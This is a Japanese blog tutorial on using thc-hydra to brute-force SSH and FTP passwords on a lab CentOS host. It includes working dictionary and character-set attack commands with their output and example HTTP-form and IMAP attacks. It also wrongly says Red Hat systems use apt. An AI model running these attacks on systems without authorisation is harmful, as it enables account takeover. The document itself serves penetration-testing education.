はじめに

今回は、thc-hydraを使用して、SSHとFTPの認証に対してブルートフォース攻撃を試しめみる。
hydraは、パスワードクラックツールであり、以下のプロトコルに対応している。

Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP

インストール

Macの場合は、以下でインストールすることができる。

% brew install hydra

Red Hat系の場合は、apt でインストールすることができる。

% sudo apt install hydra

また、これらもインストールする。

% sudo apt install -y libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev

使用方法

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]

Options:

  • -l LOGIN or -L FILE
    ログイン名、またはログイン名のリストファイル

  • -p PASS or -P FILE
    試すパスワード、またはパスワードリストファイル

  • -C FILE
    -L/-P オプションの代わりにコロン区切りの書式(login:pass)を利用する。

  • -M FILE
    攻撃するサーバのリスト
    ':' でポートを指定できる。

  • -t TASKS
    1ターゲットに対する並列に処理するタスク数(デフォルトは16)

  • -U
    service module usage details
    モジュールの詳細な使い方表示

  • -h
    ヘルプ表示

  • server
    ターゲットのドメイン名、IPまたは、IPレンジ(このオプションか -M オプションを使用する)

  • service
    攻撃を試みるサービスを指定する

  • OPT
    いくつかのモジュールがサポートしている追加の入力(-U オプションで詳細表示)

また、この他にも、総当りの文字を作成し、攻撃する "-x" オプションが存在する。
x オプションの書式は以下になる。

-x 最短長:最大長:charset

また、charset は以下が指定できる。

charset 説明
a 小文字
A 大文字
1 数字

上記の他に文字を指定した場合は、その文字を使用する。

説明
-x 1:3:a 小文字の1から3文字のパスワードを生成する
-x 3:3:@$% @$%の3つの文字で、3文字のパスワードを生成する
-x 2:4:A1 大文字と数字で2から4文字のパスワードを生成する

パスワードリストを用意する

パスワードリストは、インターネットでテキトーに検索して手に入れるか、もしくは、Linuxにもともとあるリストを使用することもできる。
パスワードリストは、以下のディレクトリに格納されている。

/usr/share/dict

SSHを攻撃してみる

環境

今回の攻撃対象の環境は以下になる。

  • CentOS7
  • OpenSSH_7.4p1, OpenSSL 1.0.2k-fips
  • SSHの設定はデフォルト
  • IPアドレスは、10.0.2.5

また、SSHのユーザとパスワードは以下に設定した。

User Name : sshuser
Password  : mickey

パスワードリストの用意

以下のパスワードリストを password.txt として保存する。

ashley
6969
nicole
mickey
chelsea
biteme
matthew

また、以下からパスワードリストをダウンロードする。
(このファイルの134行目に mickey が記述されている)

% wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/10_million_password_list_top_1000.txt

辞書攻撃を実行する

% hydra -l sshuser -P password.txt ssh://10.0.2.5      
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-10-23 14:15:16
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 7 tasks per 1 server, overall 64 tasks, 7 login tries (l:1/p:7), ~0 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host: 10.0.2.5   login: sshuser   password: mickey
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-10-23 14:15:19

攻撃が成功して、パスワードが mickey であることがわかった。

次に、10_million_password_list_top_1000.txt を使用して攻撃してみる。

% hydra -l sshuser -P 10_million_password_list_top_1000.txt ssh://10.0.2.5
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-10-23 14:16:55
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 64 tasks, 1000 login tries (l:1/p:1000), ~0 tries per task
[DATA] attacking service ssh on port 22
[STATUS] 163.00 tries/min, 163 tries in 00:01h, 837 todo in 00:06h, 16 active
[STATUS] 118.33 tries/min, 355 tries in 00:03h, 645 todo in 00:06h, 16 active
[STATUS] 105.57 tries/min, 739 tries in 00:07h, 261 todo in 00:03h, 16 active
[STATUS] attack finished for 10.0.2.5 (waiting for children to finish) ...
1 of 1 target completed, 0 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-10-23 14:26:54

パスワードリストに正解のパスワードがあるはずなのに、失敗した。
なぜだろうか。
これは以下2つの設定が原因だと判明した。

  1. sshd_config の MaxAuthTries オプション(デフォルトでは6)
  2. hydra のタスク数(デフォルトでは16)

前者の MaxAuthTries は、一回の接続での試行回数制限である。
デフォルトの設定の場合、一回の接続で 6 回までパスワードを間違えられる。

そして問題は、後者の hydra である。
どうやら hydra は、ひとつのタスクごとに接続は一回しで、一回の接続で何回も総当りをするらしい。
となると、一タスクあたり6回までしかパスワードを試せないことになる。

今回、16タスクで行ったので、正解のパスワードが 96 行以内に入っていないと、解析失敗という表示が出る。
また、この表示も問題で、本当にパスワードがリストになかったからか、上記の問題でサーバから認証を拒否されたからか、どちらかがわからない。

これは「-t」オプションを使用することで解決することができる。

FTPを攻撃してみる

環境

  • CentOS7
  • vsftpd: version 3.0.2
  • ftpの設定はデフォルト
  • IPアドレスは、10.0.2.5

また、SSHのユーザとパスワードは以下に設定した。

User Name : ftpuser
Password  : elvis

リストの作成

今回は、以下のユーザリストを作成し、user.txt という名前で保存する。

sshuser
ftpuser

また、パスワードリストは、先ほど使用した 10_million_password_list_top_1000.txt を使用する。

辞書攻撃を実行する

ユーザリストファイルとパスワードリストファイルを指定して実行する。

% hydra -L user.txt -P 10_million_password_list_top_1000.txt ftp://10.0.2.5
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-10-23 14:43:57
[DATA] max 16 tasks per 1 server, overall 64 tasks, 2000 login tries (l:2/p:1000), ~1 try per task
[DATA] attacking service ftp on port 21
[21][ftp] host: 10.0.2.5   login: sshuser   password: mickey
[STATUS] 1187.00 tries/min, 1187 tries in 00:01h, 813 todo in 00:01h, 16 active
[STATUS] 753.50 tries/min, 1507 tries in 00:02h, 493 todo in 00:01h, 16 active
[STATUS] 605.67 tries/min, 1817 tries in 00:03h, 183 todo in 00:01h, 16 active
[21][ftp] host: 10.0.2.5   login: ftpuser   password: elvis
1 of 1 target successfully completed, 2 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-10-23 14:47:20

SSHと違い制限がないので、sshuser と ftpuser のパスワードが判明した。

総当り攻撃を実行する

今回は、パスワードが先ほどの "elvis" だとかなり時間がかかるので、パスワードを "626" に変更して実施する。

% hydra -l ftpuser -x 1:3:1 ftp://10.0.2.5
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-10-23 15:14:17
[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...
[DATA] max 16 tasks per 1 server, overall 64 tasks, 1110 login tries (l:1/p:1110), ~1 try per task
[DATA] attacking service ftp on port 21
[STATUS] 320.00 tries/min, 320 tries in 00:01h, 790 todo in 00:03h, 16 active
[21][ftp] host: 10.0.2.5   login: ftpuser   password: 626

パスワードを解読することができた。

他プロトコルの例

Basic / Digest

hydra -L username.list -P password.list -V -ensr 192.168.1.1 http-get /index.html

HTTP Form

http[s]-post-form 'パス:ユーザ名=^USER^&パスワード=^PASS^:ログイン失敗文字列'
hydra -L username.list -P password.list -V -ensr -s 4430 192.168.254.254 https-post-form '/system/login.php:name=^USER^&password=^PASS^:Login'

IMAP

hydra -L username.list -P password.list -t4 -V -ensr imap://192.168.254.254

参考

vanhauser-thc/thc-hydra

カテゴリー: セキュリティ

0件のコメント

コメントを残す

アバタープレースホルダー

メールアドレスが公開されることはありません。 が付いている欄は必須項目です